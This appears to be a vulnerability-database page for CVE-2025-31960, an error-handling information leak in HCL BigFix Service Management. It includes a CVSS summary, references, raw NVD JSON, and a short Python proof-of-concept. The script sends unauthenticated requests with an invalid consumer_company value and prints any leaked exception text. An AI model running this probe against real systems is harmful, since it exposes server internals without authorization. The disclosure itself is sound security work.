CVE-2025-31960

Description

HCL BigFix Service Management (SM) is vulnerable to information exposure due to improper error handling within its reporting module. It was observed that supplying an invalid or out-of-range value to the consumer_company parameter during a report-viewing request causes the application to trigger an unhandled exception.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:hcltech:bigfix_service_management:23.0:*:*:*:*:*:*:* - VULNERABLE

HCL BigFix Service Management (具体受影响版本请参考厂商公告 KB0128144)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (replace with actual endpoint)
target_url = "http://target.example.com/reports/view"

# Malicious payload: Invalid value for consumer_company
params = {
    "consumer_company": "invalid_payload_test",
    "report_id": "1"
}

try:
    # Send request without authentication
    response = requests.get(target_url, params=params, timeout=10)

    # Check if response contains error details indicating information leakage
    if response.status_code == 500 or "exception" in response.text.lower():
        print("[+] Potential information leakage detected:")
        print(response.text[:500]) # Print snippet of the response
    else:
        print("[-] Exploit attempt did not trigger visible error leakage.")
except Exception as e:
    print(f"Request failed: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-31960
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-31960
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-31960/
[4] VulDB https://vuldb.com/cve/CVE-2025-31960
[5] https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0128144

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-31960", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:35.480", "lastModified": "2026-05-07T17:05:54.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL BigFix Service Management (SM) is vulnerable to information exposure due to improper error handling within its reporting module. It was observed that supplying an invalid or out-of-range value to the consumer_company parameter during a report-viewing request causes the application to trigger an unhandled exception."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-209"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:bigfix_service_management:23.0:*:*:*:*:*:*:*", "matchCriteriaId": "4D915AC1-7C2B-497D-9A77-9726954B2282"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0128144", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}